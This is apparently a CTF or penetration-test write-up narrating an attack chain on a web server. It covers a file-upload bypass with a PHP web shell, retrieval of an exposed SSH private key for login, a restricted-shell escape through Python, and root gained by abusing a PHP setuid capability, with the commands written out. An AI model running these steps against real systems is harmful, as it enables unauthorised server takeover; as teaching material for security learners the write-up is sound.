From Feedback Form to Root: Escalating Privileges in Multiple Ways

imagine you find endpoint that Forgotten by the developer contain feedback form by upload (PDF) file have all problem of user but here the developer do a mistake because not just user come into the websites

welcome hackers I hope all doing well. I'm Oussama, and today we'll be diving into a vulnerability allow me to control the server , The story starting when i discover the website that given products when scroll down into footer i see link that named "Rate Us" into this path have a normal form (name,title,description …) but down you can see static comments and some paths to return or links social media it's not like a footer but it's build into body of website after reading i discover a herf link that named "your report" From this point our story is starting

Note: I built this CTF machine specifically to demonstrate this attack concepts safely

Step 01: File Upload & Path traversal

Like we know that any upload can be file upload vulnerability in this case when you upload a file (.pdf) that the server give a unique Name using epoch time but can see your report when uploaded (Figure 1)

This is a wrong idea to give a user the full path of file that know where is saved. For Example: https://www.xzy.com/report/uploads/test.pdf After that when you coming to upload payload.php to achieve RCE the server rejected. will use burp collaborator for bypass, After a while I get response that can use common extension is .php5

Notice: I don't know why this endpoint isn't secure like other endpoint maybe it's new or forgotten but it's fresh for hunt it

Now upload our payload.php5 that contain

<?php system($_GET[‘cmd’]); ?>

<?php system($_GET[‘cmd’]); ?>

that simple payload to get parameter, Like that: https://www.xzy.com/report/uploads/payload.php5?cmd=

OK after success uploading payload let's digging into server, first of all u can try all common command lines but for me i use generally 'echo' . Why?! because It is highly likely not detected from firewall

ls → echo *
cat → echo
pwd → echo $PWD

ls → echo *
cat → echo
pwd → echo $PWD

Now when try commands will see figure (2&3)

into figure 3 are something interesting that can apply path traversal to see what storing into a server . the basic payload are success https://www.xzy.com/report/uploads/payload.php5?cmd=ls ../

in figure4 see have unusual file that named "spectator_id_rsa" this is file can connected with it into ssh port

As I understand it, this file was left to make things easier for the developer allowing them to access the connection file and view reports from anywhere. Is that correct? No have more strategy can do it

Now we can download the ssh key ,but need to know the user of this key for that just use:

ls -la /home

ls -la /home

will see 3 users but at spectator user have .ssh that mean this is the target (figure5)

Step 02: Escape From restricted shell

Now login with ssh

curl https://xyz.com/uploads/spectator_id_rsa -o ~/home/key_ssh
chmod 600 ~/home/key_ssh
ssh -i ~/home/key_ssh spectator@xyz.com

curl https://xyz.com/uploads/spectator_id_rsa -o ~/home/key_ssh
chmod 600 ~/home/key_ssh
ssh -i ~/home/key_ssh spectator@xyz.com

After successful connection we see that can't do regular command because r bash and having different path (figure6)

if u remember i say "echo" is the magic trick for using. Let us examine a system (figure7)

we see that have two custom binary (python,cat) . Can use GTFOBins for create escape shell

Notice: i don't know why developer give python to restricted user ,but after discussion developer of xyz.com tell me that forgotten to remove the permission after do something into the server

Now after exploit

python3
import os
os.system(“/bin/sh”)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

python3
import os
os.system(“/bin/sh”)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

After that when create the shell and modify path of environment can dig into system files

Step 03:CronJob and Capapilites

When search in root directory,I see that have unusual folder named "bobcorn", After open it was found two files (figure8)

we'll see file named "status.txt" that file shown time and word of not yet in Linux have concept of Crontab that scheduling tasks for know if that cronjob or no just execute this command and well see path of popcorn on it (figure9)

Now should reversing binary file that named "popcorn" for know What hide. After reverse It became clear to us the script wait order to execute something … the order is create file named "now" one minute later , see have now file named "userflag.txt" (figure10)

Note: In a real-world scenario, a script generates file backups (reports) on another server with an internal IP address, and I don't have permission to conduct a penetration test on it.

Otherwise if u remember in step1 we bypassing file upload with extension (.php5) the number after it is the version of PHP in Linux may have capability to manage the server for verify can use command

find /usr/bin -type f -exec getcap {} \;

find /usr/bin -type f -exec getcap {} \;

that will show which capability have (figure11)

Now can use payload from GTFOBins

php7.4 -r “posix_setuid(0); system(‘/bin/bash’);”

# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

php7.4 -r “posix_setuid(0); system(‘/bin/bash’);”

# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

After that you will have root access to all server (figure12)

Finally, I hope you gained at least a small piece of information this is a scenario I experienced and wanted to share with you.